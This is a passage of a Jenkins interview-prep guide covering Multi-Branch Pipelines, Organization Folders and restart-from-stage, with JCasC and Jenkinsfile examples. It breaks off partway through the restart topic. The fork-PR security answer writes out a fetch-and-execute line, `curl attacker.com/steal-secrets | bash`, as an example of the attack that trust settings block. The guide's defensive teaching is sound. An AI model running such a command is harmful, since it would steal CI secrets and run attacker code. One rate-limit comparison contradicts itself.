🚀 Jenkins Pipelines — Advanced Patterns: Complete Interview Mastery Guide

Category 4 | DevOps/SRE/Platform Engineer Interview Prep

> **How to use this guide:** Every topic follows the full teaching structure: Simple Definition → Why it exists → How it works internally → Key concepts → Short interview answer → Deep dive → Real-world example → Interview Q&A → Gotchas → Connections.
>
> ⚠ = Frequently misunderstood or heavily tested. Pay extra attention.
>
> This is where interviews get **architectural**. Category 3 tested "can you write a pipeline?" Category 4 tests "can you design a pipeline system for an organization?" Senior/staff-level interviewers spend most time here — they expect you to reason about tradeoffs, not just recall syntax.

📜 TABLE OF CONTENTS

1. Topic 4.1 — Multi-Branch Pipelines
2. Topic 4.2 — GitHub/GitLab Organization Folders
3. Topic 4.3 — Pipeline Restart from Stage ⚠
4. Topic 4.4 — Input Steps and Manual Approval Gates
5. Topic 4.5 — Timeout, Retry, and Resilience Patterns
6. Topic 4.6 — When Conditions and Conditional Execution
7. Topic 4.7 — Pipeline Durability Settings ⚠
8. Topic 4.8 — Build Promotion Patterns
9. Category 4 Summary & Self-Quiz

Topic 4.1 — Multi-Branch Pipelines

🟡 Intermediate | The Scalable Discovery Layer

📌 What It Is — In Simple Terms

A **Multi-Branch Pipeline** is a Jenkins job type that automatically discovers every branch in a repository that contains a `Jenkinsfile`, and creates a separate pipeline job for each one. You configure one Multi-Branch Pipeline pointing at a repo, and Jenkins does the rest — feature branches, PR branches, `main`, `release/*` — each gets its own pipeline automatically.

```
Single Pipeline Job:            Multi-Branch Pipeline:
  Job: myapp-main-build           Folder: myapp/
```

```
  → manually configured              ├── main        (auto-discovered)
  → only builds main branch          ├── feature/login (auto-discovered)
  → creating a feature branch        ├── feature/cart  (auto-discovered)
    requires manual Jenkins work     ├── PR-42         (auto-discovered)
                                     └── release/1.2   (auto-discovered)
                                   Each branch uses its OWN Jenkinsfile
```

🔍 Why Multi-Branch Pipelines Exist

The problem they solve: Before Multi-Branch Pipelines, every branch of a project needed a manually created Jenkins job. In a team with 20 active feature branches, that's 20 jobs to create, name, configure, and delete — all by a Jenkins admin, not the developers. Multi-Branch Pipelines give developers self-service CI.

⚙️ How Multi-Branch Pipelines Work Internally

```
Multi-Branch Pipeline Lifecycle:

1. SCAN TRIGGER:
   → Webhook fires on push/PR event (GitHub webhook → /multibranch-
webhook-trigger/)
   → OR: periodic scan (every N minutes — configured on the folder)
   → Jenkins reads the branch/PR list from SCM API

2. BRANCH INDEXING:
   → For each branch/PR detected:
       Does Jenkinsfile exist at the configured Script Path?
       YES → Create (or update) a child pipeline job for this branch
       NO  → Ignore the branch (no Jenkinsfile = no pipeline)

3. ORPHAN BRANCH HANDLING:
   → A branch that previously had a Jenkinsfile but now doesn't:
       → Job marked as "disabled" (not deleted immediately)
       → Configurable orphan retention strategy

4. CHILD PIPELINE EXECUTION:
   → The child pipeline job is triggered by:
       Webhook: GitHub push → Jenkins webhook → child job for that branch
       Scan: Detected change during periodic scan
   → The child pipeline runs the Jenkinsfile FROM THAT BRANCH
   → main branch Jenkinsfile can differ from feature branch Jenkinsfile

5. BUILD HISTORY ISOLATION:
   → main/#45 build history is separate from feature/login/#12
   → Each branch has its own build number sequence
   → Branch-specific build history, logs, artifacts
```

⚙️ Multi-Branch Configuration — Complete Reference

```
# JCasC — Multi-Branch Pipeline configuration
jobs:
  - script: |
      multibranchPipelineJob('myapp') {
        branchSources {
          github {
            id('myapp-github-source')
            repoOwner('myorg')
            repository('myapp')
            credentialsId('github-credentials')

            // Branch discovery strategies
            traits {
              // Discover branches (not PRs)
              gitHubBranchDiscovery {
                strategyId(1)  // 1=Exclude PRs, 2=Only PRs, 3=All
branches
              }

              // Discover Pull Requests from same repo
              gitHubPullRequestDiscovery {
                strategyId(1)  // 1=Merge with target, 2=PR head only,
3=Both
              }

              // Discover Pull Requests from forks
              gitHubForkPullRequestDiscovery {
                strategyId(1)
                trust {
                  gitHubTrustPermissions()  // Only trust PR authors with
write access
                  // NEVER: gitHubTrustEveryone() — allows arbitrary code
execution!
                }
              }

              // Filter branches by name pattern
              headWildcardFilter {
                includes('main release/* feature/* hotfix/*')
                excludes('experimental/*')
              }

              // OR: Filter by regex
              headRegexFilter {
                regex('^(main|release/.*|feature/.*|PR-.*)$')
              }

              // Clone options
              cloneOptionTrait {
                extension {
```

```
                    shallow(true)     // Shallow clone - faster
                    depth(1)
                    noTags(false)
                    reference('')
                    timeout(10)
                  }
                }
              }
            }
          }

          // Orphan branch strategy
          orphanedItemStrategy {
            discardOldItems {
              numToKeep(20)   // Keep last 20 builds after branch is deleted
              daysToKeep(7)   // Delete orphan branch jobs after 7 days
            }
          }

          // Scan triggers
          triggers {
            periodicFolderTrigger {
              interval('5m')  // Scan every 5 minutes if webhooks fail
            }
          }

          // Build retention per branch
          factory {
            workflowBranchProjectFactory {
              scriptPath('Jenkinsfile')  // Path to Jenkinsfile in repo
            }
          }
        }
```

⚙️ Branch-Specific Pipeline Behavior

The real power of Multi-Branch: each branch's `Jenkinsfile` can define completely different behavior. This is intentional design.

```
// Jenkinsfile - one file, branch-aware pipeline
pipeline {
    agent { label 'linux' }

    // Behavior varies by branch type
    stages {
        stage('Build & Test') {
            steps {
                sh 'mvn clean verify'
            }
            post {
```

```
                always { junit 'target/surefire-reports/*.xml' }
            }
        }

        stage('Code Quality') {
            // Run SonarQube on main and release branches only
            when {
                anyOf {
                    branch 'main'
                    branch pattern: 'release/.*', comparator: 'REGEXP'
                }
            }
            steps {
                withSonarQubeEnv('SonarQube') {
                    sh 'mvn sonar:sonar'
                }
                timeout(time: 5, unit: 'MINUTES') {
                    waitForQualityGate abortPipeline: true
                }
            }
        }

        stage('Build Docker Image') {
            // Build Docker image for all branches except experimental
            when {
                not { branch pattern: 'experimental/.*', comparator:
'REGEXP' }
            }
            steps {
                script {
                    // Different tagging strategy per branch type
                    def tag = env.BRANCH_NAME == 'main' ?
                                  env.BUILD_NUMBER :
                              env.BRANCH_NAME.startsWith('release/') ?
                                  env.BRANCH_NAME.replace('release/', '')
+ '-rc' :
                                  "dev-${env.GIT_COMMIT.take(7)}"

                    sh "docker build -t myapp:${tag} ."
                    // Only push for main and release branches
                    if (env.BRANCH_NAME == 'main' ||
env.BRANCH_NAME.startsWith('release/')) {
                        sh "docker push myapp:${tag}"
                    }
                }
            }
        }

        stage('Deploy: Development') {
            // Auto-deploy feature branches to ephemeral dev environment
            when {
                branch pattern: 'feature/.*', comparator: 'REGEXP'
            }
            steps {
```

```
                sh """
                    # Create ephemeral namespace per branch
                    NAMESPACE="dev-${env.BRANCH_NAME.replace('feature/',
'').replace('/', '-').toLowerCase()}"
                    helm upgrade --install myapp-\${NAMESPACE} ./chart \
                        --namespace \${NAMESPACE} \
                        --create-namespace \
                        --set image.tag=dev-${env.GIT_COMMIT.take(7)} \
                        --set ingress.host="\${NAMESPACE}.dev.example.com"
                """
            }
        }

        stage('Deploy: Staging') {
            when { branch 'main' }
            steps {
                sh 'helm upgrade --install myapp ./chart --namespace
staging'
            }
        }

        stage('Deploy: Production') {
            when { branch 'main' }
            steps {
                input message: 'Deploy to production?', submitter:
'release-managers'
                sh 'helm upgrade --install myapp ./chart --namespace
production'
            }
        }
    }

    post {
        // PR builds: add comment with build result
        always {
            script {
                if (env.CHANGE_ID) {  // CHANGE_ID is set for PR builds
                    def result = currentBuild.currentResult
                    def emoji  = result == 'SUCCESS' ? '✅' : '❌'
                    githubPRComment comment: """
                        ${emoji} **CI ${result}** — Build
[#${BUILD_NUMBER}](${BUILD_URL})
                        Branch: `${BRANCH_NAME}` → `${CHANGE_TARGET}`
                    """
                }
            }
        }
    }
}
```

⚙️ PR Build-Specific Environment Variables

```
// These variables are ONLY available in Pull Request builds:
stage('PR-Specific Steps') {
    when {
        changeRequest()  // Only runs when this is a PR build
    }
    steps {
        script {
            echo "PR number:      ${env.CHANGE_ID}"        // e.g., "123"
            echo "PR title:       ${env.CHANGE_TITLE}"     // "Add user
auth"
            echo "PR author:      ${env.CHANGE_AUTHOR}"    // "alice"
            echo "PR author email:${env.CHANGE_AUTHOR_EMAIL}"
            echo "Source branch:  ${env.BRANCH_NAME}"      //
"feature/auth" (the PR branch)
            echo "Target branch:  ${env.CHANGE_TARGET}"    // "main" (what
PR merges into)
            echo "PR URL:         ${env.CHANGE_URL}"       // GitHub PR
URL
            echo "Fork repo:      ${env.CHANGE_FORK}"      // set if fork
PR, else empty
        }
    }
}
```

⚙️ Lightweight Checkout for Branch Scanning

```
// Multi-Branch Pipeline uses a "lightweight checkout" during scanning:
// It only fetches the Jenkinsfile to determine if a build should be
triggered
// It does NOT do a full git clone unless a build is triggered

// This makes scanning fast even for repos with thousands of branches

// However: some pipeline behaviors require a full checkout
// If your Jenkinsfile reads VERSION file or other repo files in the
// environment{} block BEFORE the first stage, it may fail during scan
// because the file isn't available in lightweight checkout

// Safe pattern — don't read repo files at pipeline definition time:
pipeline {
    environment {
        // ❌ WRONG: Fails during lightweight branch scan
        // VERSION = sh(script: 'cat VERSION', returnStdout: true).trim()

        // ✅ CORRECT: Use BUILD_NUMBER or compute VERSION after checkout
        IMAGE_TAG = "build-${env.BUILD_NUMBER}"
    }
    stages {
        stage('Checkout') {
```

```
            steps {
                checkout scm
                script {
                    // ✅ Read VERSION here — after full checkout
                    env.APP_VERSION = sh(script: 'cat VERSION',
returnStdout: true).trim()
                }
            }
        }
    }
}
```

🔑 Key Concepts

Concept	Meaning
Branch Indexing	Jenkins scanning SCM to discover/update branch → pipeline mappings
Orphan Branch	A branch that previously had a Jenkinsfile but the branch was deleted
Script Path	Path to Jenkinsfile within the repo (default: `Jenkinsfile`)
`BRANCH_NAME`	The branch name — only available in Multibranch jobs
`CHANGE_ID`	PR number — only set when the build is a Pull Request build
Branch Discovery Strategy	Which branches to build: all, exclude PRs, only PRs, etc.
Trust model	For fork PRs — which authors' code runs in CI (write access required, typically)
Lightweight checkout	Only Jenkinsfile fetched during scan — not full repo
Periodic scan	Fallback scan on a schedule when webhooks miss events

---

💬 Short Crisp Interview Answer

> *"A Multi-Branch Pipeline is a Jenkins job type that automatically discovers and creates pipeline jobs for every branch in a repository that contains a Jenkinsfile. You configure it once pointing at a repo — then it scans for branches, creates child pipeline jobs per branch, triggers builds on webhooks, and cleans up orphaned branch jobs when branches are deleted. Each branch's pipeline runs that branch's own Jenkinsfile — so `main` can have a full CI+deploy pipeline while feature branches have a lighter CI-only pipeline, using `when { branch 'main' }` conditions. Key variables: `BRANCH_NAME` for the branch, `CHANGE_ID` for PR number (only in PR builds), `CHANGE_TARGET` for the PR's target branch. The trust model for fork PRs is critical — always require write access before running a fork PR's code, or you allow arbitrary code execution in your CI."*

🔬 Deep Dive Answer

The PR Build Merge Strategy — What Code Actually Runs:

```
When a PR is created, Jenkins needs to decide what version of the code to
actually run your build/tests on. There are three main strategies, each
with pros and cons.

Strategy 1: PR head only
  → Build the PR branch as-is
  → Doesn't test how it will look after merging
  → Fast, simple
  → Risk: passes CI but may conflict with latest main after merge

Strategy 2: PR merged with target branch
  → Jenkins creates a TEMPORARY merge commit: merge(PR branch, target
branch)
  → Builds the merged result — what the code will look like AFTER merge
  → Recommended: catches integration issues before they reach main
  → Slower: requires creating the merge commit
  → If merge conflicts exist: build fails immediately (early signal)

Strategy 3: Both (builds 2 separate pipeline runs)
  → Useful for validating both strategies
  → Doubles CI resource usage

In Jenkinsfile, you can't distinguish merge strategy from CHANGE_ID
The choice is made in the Multi-Branch job configuration
```

Multi-Branch and Monorepos:

```
// Monorepo challenge: one repo, multiple services, one webhook fires for
all
// Solution: Multi-Branch + smart change detection in Jenkinsfile

pipeline {
    agent any
    stages {
        stage('Detect Changes') {
            steps {
                script {
                    // Detect which services changed vs main
                    def changedFiles = sh(
                        script: 'git diff --name-only origin/main...HEAD',
                        returnStdout: true
                    ).trim().split('\n')

                    def changedServices = changedFiles
                        .collect { it.split('/').first() }
                        .unique()
                        .findAll { fileExists("services/${it}/pom.xml") }
```

```
                    env.CHANGED_SERVICES = changedServices.join(',')
                    echo "Changed services: ${changedServices}"

                    if (changedServices.isEmpty()) {
                        echo "No service code changed — skipping build"
                        currentBuild.result = 'NOT_BUILT'
                        return
                    }
                }
            }
        }

        stage('Build Changed Services') {
            when {
                not { expression { return currentBuild.result ==
'NOT_BUILT' } }
            }
            steps {
                script {
                    def services = env.CHANGED_SERVICES.split(',')
                    def buildTasks = [:]
                    services.each { svc ->
                        def s = svc
                        buildTasks["Build: ${s}"] = {
                            sh "mvn clean package -pl services/${s}"
                        }
                    }
                    parallel buildTasks
                }
            }
        }
    }
}
```

🏭 Real-World Production Example

Etsy's Multi-Branch Migration: Etsy managed 3,000+ feature branches for their PHP monolith. Before Multi-Branch Pipelines, a Jenkins admin manually created a job for each branch — taking 2-3 days per sprint to set up all new feature branches. After migrating to Multi-Branch with GitHub Organization Folder (Topic 4.2), new feature branches get CI pipelines within 30 seconds of the first push. The ephemeral `dev-<branch-name>` namespace pattern (deploy feature branch to its own Kubernetes namespace) lets developers share running previews with PMs before merging.

❓ Common Interview Questions & Strong Answers

Q1: A developer pushes a new feature branch. How does the Multi-Branch Pipeline know to start building it?

> Two mechanisms: Webhooks (primary) and periodic scan (fallback). When the developer pushes, GitHub fires a webhook to Jenkins at `/multibranch-webhook-trigger/invoke?token=TOKEN`. Jenkins receives the event, scans the branch, finds a Jenkinsfile, creates a new child pipeline job for the branch, and immediately queues a build. If the webhook fails (network issue, Jenkins was down), the periodic scan — configured on the Multi-Branch folder, typically every 5 minutes — catches it. The scan uses a "lightweight checkout" that only fetches the Jenkinsfile to check existence, not the full repo, making it efficient even with hundreds of branches.

Q2: How do you prevent untrusted fork PRs from executing malicious code in your CI environment?

> Configure the fork PR discovery trust model to "Contributors" or "Write access" — not "Everyone." With "Write access" trust: only PRs from authors who have write permission to the repository run CI automatically. PRs from other contributors are queued but not built until a maintainer reviews the code and comments a trigger phrase (e.g., `/ok-to-test`). This prevents an attacker from opening a PR with `sh "curl attacker.com/steal-secrets | bash"` in the Jenkinsfile and having it execute in your CI. Additionally, fork PR builds should run in a sandboxed environment with read-only credentials — no production access.

⚠ Tricky Edge Cases & Gotchas

- ⚠ **`BRANCH_NAME` vs `GIT_BRANCH`.** `BRANCH_NAME` is only available in Multi-Branch Pipeline jobs — it contains just `main` or `feature/auth`. In a regular Pipeline job, `BRANCH_NAME` is null. `GIT_BRANCH` is available in both but contains `origin/main`. Use `BRANCH_NAME` in Multi-Branch, `sh "git rev-parse --abbrev-ref HEAD"` in regular Pipeline jobs.
- **Jenkinsfile changes and the "first build" race.** When you push a new branch AND change the Jenkinsfile in that same push, the first build uses the NEW Jenkinsfile immediately — there's no "previous Jenkinsfile" for a new branch. For existing branches: the running build uses the Jenkinsfile from the commit that triggered it.
- **Branch deletion doesn't immediately delete the pipeline job.** The `orphanedItemStrategy` controls retention. By default, orphaned branch jobs are kept for a configurable period — useful for inspecting failed builds after a branch is deleted. But: orphaned jobs accumulate disk space. Always configure a retention period.
- **`lightweight checkout` doesn't expose repo files to `environment{}`** — any `sh()` in the `environment{}` block that reads repo files fails during branch scanning. Delay repo-file reads until after `checkout scm` in a stage step.

🔗 Connections to Other Topics

Connected Topic	How It Connects
Organization Folders (4.2)	Multi-Branch is the per-repo version; Org Folders scale to org-wide
Jenkinsfile (3.5)	Every branch needs a Jenkinsfile to be discovered
`when` conditions (4.6)	Branch-specific pipeline behavior uses `when { branch '...' }`
Pipeline Triggers (3.9)	Multi-Branch uses webhooks differently from single Pipeline jobs

Connected Topic	How It Connects
Credentials (3.12)	SCM credentials needed for branch scanning

---

Topic 4.2 — GitHub/GitLab Organization Folders

🔴 Advanced | Zero-Maintenance Pipeline Discovery

📌 What It Is — In Simple Terms

An **Organization Folder** is a Jenkins job type that scans an entire GitHub organization, GitLab group, or Bitbucket workspace and automatically creates a **Multi-Branch Pipeline** for every repository it discovers that contains a Jenkinsfile. You configure it once, and every new repo your organization creates automatically gets a full CI/CD pipeline — without any Jenkins administrator involvement.

```
Scale comparison:

Multi-Branch Pipeline:          Organization Folder:
  Scans 1 repository              Scans ALL repositories in an org
  Creates N pipelines             Creates M × N pipelines
  (one per branch)                (one per branch × repo)
  Requires setup per repo         Zero setup per repo — fully automatic
```

🔍 Why Organization Folders Exist

At organizational scale, having someone configure Jenkins for every new repo is a bottleneck. A fast-moving engineering team creates new services constantly. Organization Folders remove the Jenkins admin from the critical path of creating new services.

```
Without Organization Folder:
  1. Developer creates new repo on GitHub
  2. Developer creates Jenkinsfile
  3. Developer creates Jira ticket "Set up Jenkins for repo X"
  4. Jenkins admin reviews, configures Multi-Branch Pipeline
  5. Admin notifies developer: "Jenkins ready"
  6. Total: 2-3 business days

With Organization Folder:
  1. Developer creates new repo on GitHub
  2. Developer creates Jenkinsfile
  3. On next scan (or webhook): Jenkins auto-discovers repo
  4. Multi-Branch Pipeline auto-created, first build queued
  5. Total: < 60 seconds
```

⚙️ Organization Folder Setup

```
# JCasC - GitHub Organization Folder
jobs:
  - script: |
      organizationFolder('github-org') {
        displayName('My Organization CI')
        description('Auto-discovers all repos with Jenkinsfiles')

        organizations {
          github {
            apiUri('https://api.github.com')
            credentialsId('github-org-credentials')  // GitHub PAT with
org read access
            repoOwner('myorg')  // GitHub organization name

            traits {
              // Discover branches in each repo
              gitHubBranchDiscovery {
                strategyId(1)  // Exclude PR branches
              }

              // Discover PRs
              gitHubPullRequestDiscovery {
                strategyId(1)  // Merge with target branch
              }

              // Filter WHICH REPOS to include
              sourceWildcardFilter {
                includes('*')         // All repos
                excludes('sandbox-* archived-* test-*')  // Except these
patterns
              }

              // Filter branches across ALL repos
              headWildcardFilter {
                includes('main master release/* feature/* hotfix/*')
                excludes('wip/* draft/*')
              }

              // Only discover repos with Jenkinsfile at root
              gitHubExcludeArchivedRepositories()
              gitHubExcludeForkedRepositories()  // Optional: skip forks

              // Clone settings
              cloneOptionTrait {
                extension {
                  shallow(true)
                  depth(1)
                  timeout(15)
                }
```

```
              }
            }
          }
        }

        // Automatically configure webhooks on GitHub org
        // (requires GitHub App or OAuth with admin:org_hook permission)
        projectFactories {
          workflowMultiBranchProjectFactory {
            scriptPath('Jenkinsfile')  // Path to Jenkinsfile in each repo
          }
        }

        // Orphan strategy for deleted repos
        orphanedItemStrategy {
          discardOldItems {
            daysToKeep(30)
            numToKeep(10)
          }
        }

        // Scan schedule (fallback if webhooks fail)
        triggers {
          periodicFolderTrigger {
            interval('1h')  // Scan entire org hourly
          }
        }
      }
```

⚙️ GitHub App Authentication — The Production Standard

```
Using GitHub App (recommended over PAT for org-level access):

Benefits of GitHub App over Personal Access Token:
  ✅ Scoped permissions — only what Jenkins needs
  ✅ Per-installation tokens (short-lived, auto-rotating)
  ✅ Higher API rate limits (5000/hr per installation vs 5000/hr per PAT)
  ✅ Audit trail: actions attributed to the App, not a person's account
  ✅ No human account — if the PAT owner leaves, no broken CI

Setup:
  1. GitHub → Settings → Developer Settings → GitHub Apps → New GitHub App
     Name: "My Company Jenkins CI"
     Homepage URL: https://jenkins.example.com
     Webhook URL: https://jenkins.example.com/github-webhook/
     Permissions:
       Repository: Contents (read), Metadata (read), Pull requests
(read+write)
       Organization: Members (read)
       Checks: read+write (for GitHub Checks API integration)
```

```
  2. Generate private key → download .pem file

  3. Install App on organization (or selected repos)

  4. In Jenkins:
     - Install GitHub Branch Source plugin (includes App support)
     - Add credential: "GitHub App"
       App ID: <your app id>
       Private key: <contents of .pem file>
     - Use this credential in Organization Folder configuration
```

⚙️ GitHub Checks API Integration

```
// With GitHub App + Checks API:
// Build status appears as a "Check" on the PR directly in GitHub
// Not just a "commit status" (green/red dot) but a full Check with
details

// No Jenkinsfile changes needed — the GitHub Branch Source plugin
// automatically reports build status to GitHub Checks API when using
GitHub App

// Result in GitHub PR:
// ✅ Jenkins CI — Build #45 passed (3m 12s) → Details link to Jenkins
build
// ❌ Jenkins CI — Build #46 failed at stage "Test" → Details link to
Jenkins

// Custom check reporting from pipeline:
pipeline {
    agent any
    stages {
        stage('Tests') {
            steps {
                // publishChecks step (Checks API plugin):
                publishChecks(
                    name:       'Unit Tests',
                    title:      'Unit Test Results',
                    summary:    '142 tests passed, 0 failed',
                    status:     'COMPLETED',
                    conclusion: 'SUCCESS',
                    detailsURL: "${env.BUILD_URL}testReport/"
                )
            }
        }
    }
}
```

⚙️ Repository-Level Jenkinsfile Control

```
Organization Folder discovers repos, but each repo controls its own
pipeline:

Repo-level controls:
  1. .github/CODEOWNERS — defines who can approve pipeline changes
  2. Branch protection rules — require CI to pass before merge
  3. Jenkinsfile at configured scriptPath — controls pipeline behavior

Organization-level controls (via Shared Library):
  1. Required stages (compliance, security scans) enforced in library
  2. Global timeout, retention policies set at org folder level
  3. Credential scoping — repos can only access their own credentials

Governance pattern:
  organization-folder-config/
  ├── jenkins-casc.yaml          ← Org folder config with security
constraints
  └── vars/
      └── compliancePipeline.groovy  ← Required security stages all teams
must include
```

⚙️ GitLab Group Pipelines

```
# For GitLab — similar concept, different plugin
jobs:
  - script: |
      organizationFolder('gitlab-group') {
        organizations {
          gitLab {
            serverName('gitlab-server')      // Configured in Manage
Jenkins → GitLab
            credentialsId('gitlab-token')
            projectOwner('mygroup')          // GitLab group name
            projectPattern('.*')             // Regex for project names to
include

            traits {
              gitLabBranchDiscovery { strategyId(3) }  // All branches
              gitLabMergeRequestDiscovery { strategyId(1) }
              subGroupProjectDiscovery()  // Include subgroup projects
            }
          }
        }
      }
```

🔑 Key Concepts

Concept	Meaning
Organization Folder	Jenkins job that auto-discovers ALL repos in a GitHub org / GitLab group
GitHub App	Preferred auth method — scoped, auto-rotating tokens, higher rate limits
GitHub Checks API	Richer build status reporting in GitHub PRs (vs simple commit status dots)
Repo filter	Pattern matching to include/exclude repos from discovery
Script path	Where to look for Jenkinsfile in each discovered repo
Webhook auto-registration	Org Folder can auto-create webhooks on GitHub org
Rate limiting	GitHub API rate limits affect scan speed — GitHub App has higher limits
Subgroup discovery	GitLab feature — recursively discover projects in subgroups

💬 Short Crisp Interview Answer

> *"Organization Folders extend Multi-Branch Pipelines to the organizational level — they scan an entire GitHub organization or GitLab group and auto-create a Multi-Branch Pipeline for every repository containing a Jenkinsfile. Zero per-repo Jenkins configuration needed. For production, I use GitHub App authentication rather than Personal Access Tokens: the App gets scoped permissions, generates short-lived rotating tokens, has a higher API rate limit (5,000 requests/hour per installation vs per PAT), and actions are attributed to the App rather than a human account. The GitHub Checks API integration (available with GitHub App) reports rich build status directly in PR pages — not just a commit status dot, but a full Check with stage-level details. The org-level Jenkinsfile governance challenge: you want teams to own their pipelines but still enforce organization-wide compliance stages. The solution is Shared Libraries — a `compliancePipeline()` template that wraps team pipelines, ensuring security scans always run."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **GitHub API rate limiting kills large org scans.** With 500+ repos and hourly scanning, you hit GitHub's 5,000 req/hr limit quickly. GitHub App installations have separate rate limit quotas — install the GitHub App per org to get a fresh 5,000/hr for Jenkins. With very large orgs (1000+ repos), tune periodic scan interval to 4-6 hours and rely primarily on webhooks.
- **Fork repositories create unexpected pipelines.** If you have forks in your org (team members' forks of upstream projects), Organization Folder discovers and builds them too. Use `gitHubExcludeForkedRepositories()` trait or explicit repo name filters to exclude forks.
- **Repo renaming breaks Organization Folder.** If a repo is renamed on GitHub, the Organization Folder creates a NEW pipeline for the new name while the old pipeline becomes orphaned. Build history from before the rename is in the old pipeline. No automatic history migration.
- **Per-repo credential scoping with Org Folder.** By default, credentials you configure on the Organization Folder are available to all pipelines in all discovered repos. This may violate least-

privilege — production credentials shouldn't be accessible to experimental repos. Use credential scoping at the folder level and separate Organization Folders per access tier.

🔗 Connections to Other Topics

Connected Topic	How It Connects
Multi-Branch Pipeline (4.1)	Org Folder creates one Multi-Branch Pipeline per repo
Shared Libraries (3.13)	Libraries provide org-wide governance for auto-discovered pipelines
Credentials (3.12)	GitHub App credential configuration
Jenkins at Scale (2.8)	Org Folders represent Jenkins at its highest scale point
JCasC (2.2)	Org Folder configuration managed as code

Topic 4.3 — Pipeline Restart from Stage ⚠

🔴 Advanced | The Most Misunderstood Feature

📌 What It Is — In Simple Terms

Pipeline Restart from Stage allows you to re-run a failed pipeline starting from a specific stage, rather than running the entire pipeline from the beginning. If a 45-minute pipeline fails at stage 7 of 8, you can fix the issue and restart from stage 7 — not repeat all 44 minutes of preceding stages.

The ⚠ here is critical: This feature has severe limitations that most candidates don't know, and interviewers specifically probe these limitations because they reveal operational depth.

🔍 Why It Exists — And Why It's Hard

```
The problem:
  Pipeline: Checkout(2m) → Build(5m) → Test(15m) → SAST(8m) → Package(3m)
→ DEPLOY(2m) → FAILED
  Total: 35 minutes before failure

  Without restart-from-stage:
    Fix the deploy script
    Re-run entire pipeline: wait 33 more minutes before getting to deploy
again
    Repeat if deploy fails again

  With restart-from-stage:
    Fix the deploy script
    Restart FROM Deploy stage: 2 minutes to validation
```

```
Why it's hard to implement:
  The pipeline execution state (what variables were set, what stashes
exist,
  what artifacts were produced) exists in memory during a live run.
  When the pipeline fails, this state must be preserved to resume from
mid-point.
  Jenkins does this via CPS (Continuation Passing Style) serialization —
  but there are many conditions where state cannot be perfectly preserved.
```

⚙️ How to Use Restart from Stage

```
Prerequisites:
  1. Must be a Declarative Pipeline (not Scripted)
  2. Pipeline must have completed (SUCCESS or FAILURE) — not aborted mid-
run
  3. The stage you want to restart from must have been reached in the
original run
  4. Pipeline Restart plugin must be installed (included in Pipeline
Suite)

To restart from a specific stage:
  Jenkins UI → Job → Build #N → "Restart from Stage" button
  → Select which stage to restart from
  → Click Restart

OR: Via API:
  POST https://jenkins.example.com/job/mypipeline/42/restart?target=Deploy
  (Authentication required)
```

⚙️ What Restart from Stage PRESERVES and What It LOSES

```
PRESERVED across restart:
  ✅ Stashes from stages BEFORE the restart point
     → If "Build" stage stashed target/*.jar, restarting from "Deploy"
       can still unstash that JAR
  ✅ Archived artifacts from stages before restart point
  ✅ Environment variables set in the pipeline{} environment{} block
  ✅ Build parameters (params.*)
  ✅ Pipeline durability state (if written to disk before failure)

LOST across restart:
  ❌ env.VAR values set dynamically with script{ env.VAR = '...' } in
earlier stages
     → These were in memory, not persisted across restart
  ❌ Groovy variables defined in script{} blocks in earlier stages
     (def version = ...) — gone after restart
  ❌ Any state that wasn't serialized to disk (CPS checkpoint)
```

```
  ❌ Build number changes — the same build number is reused
  ❌ Post actions from skipped stages do NOT re-run
```

⚙️ The Checkpoint Step — Explicit State Persistence

```
// Checkpoint (requires Pipeline: Checkpoint Step plugin)
// Creates explicit durability checkpoints that persist all CPS state

pipeline {
    agent any
    options {
        // Must use MAX_SURVIVABILITY or SURVIVABLE_NONATOMIC for
checkpoints to work
        durabilityHint('SURVIVABLE_NONATOMIC')
    }
    stages {
        stage('Build') {
            steps {
                sh 'mvn clean package'
                stash name: 'jar', includes: 'target/*.jar'
                // Set env var that later stages need:
                script {
                    env.APP_VERSION = sh(script: 'cat VERSION',
returnStdout: true).trim()
                    env.IMAGE_TAG   =
"${env.APP_VERSION}-${env.BUILD_NUMBER}"
                }
            }
        }

        stage('Test') {
            steps {
                sh 'mvn test'
                junit 'target/surefire-reports/*.xml'
            }
        }

        // CHECKPOINT: persist state here
        // If pipeline restarts from "Deploy" or later,
        // CPS state at this point is fully restored
        // NOTE: checkpoint() is only available in CloudBees CI (not open
source Jenkins)
        // stage('Checkpoint After Test') {
        //     steps {
        //         checkpoint('after-tests-passed')
        //     }
        // }

        stage('Deploy') {
            steps {
```

```
                // env.APP_VERSION set in Build stage - available if
properly persisted
                // BUT: with PERFORMANCE_OPTIMIZED durability, this may be
LOST on restart
                sh """
                    helm upgrade --install myapp ./chart \
                        --set image.tag=${env.IMAGE_TAG}
                """
            }
        }
    }
}
```

⚙️ Practical Patterns for Safe Stage Restart

```
// PATTERN 1: Re-compute environment variables in each stage
// Instead of relying on state from previous stages,
// re-derive values from durable sources (files, git, build params)

pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                sh 'mvn clean package'
                stash name: 'artifacts', includes: 'target/*.jar,VERSION'
                // Write VERSION to a file that survives as an artifact
                archiveArtifacts artifacts: 'VERSION', allowEmptyArchive:
true
            }
        }

        stage('Deploy') {
            steps {
                script {
                    // RE-COMPUTE version from artifact (durable source)
                    // Don't rely on env.APP_VERSION set 3 stages ago
                    unstash 'artifacts'
                    def version = readFile('VERSION').trim()
                    def imageTag = "${version}-${env.BUILD_NUMBER}"

                    sh """
                        helm upgrade --install myapp ./chart \
                            --set image.tag=${imageTag}
                    """
                }
            }
        }
    }
}
```

```
// PATTERN 2: Write critical state to a file, stash it
stage('Compute Metadata') {
    steps {
        script {
            def metadata = [
                version:   sh(script: 'cat VERSION', returnStdout:
true).trim(),
                commit:    env.GIT_COMMIT.take(7),
                buildNum:  env.BUILD_NUMBER,
                imageTag:  "${sh(script:'cat VERSION',
returnStdout:true).trim()}-${env.BUILD_NUMBER}"
            ]
            // Write to file — survives as stash
            writeJSON file: 'build-metadata.json', json: metadata
            stash name: 'build-metadata', includes: 'build-metadata.json'
        }
    }
}

stage('Deploy') {
    steps {
        script {
            unstash 'build-metadata'
            def metadata = readJSON file: 'build-metadata.json'
            // Now metadata is safely loaded from durable source
            sh "helm upgrade --install myapp ./chart --set
image.tag=${metadata.imageTag}"
        }
    }
}
```

⚙️ CloudBees CI vs Open Source Jenkins — Checkpoint Comparison

```
Open Source Jenkins:
  - "Restart from Stage" button: YES (UI-based, limited)
  - Automatic CPS checkpoints: only at stage boundaries
(SURVIVABLE_NONATOMIC)
  - checkpoint() step: NOT AVAILABLE
  - Reliability: State loss possible depending on durability setting

CloudBees CI (commercial):
  - checkpoint() step: AVAILABLE
  - Creates named checkpoints with full CPS state snapshot
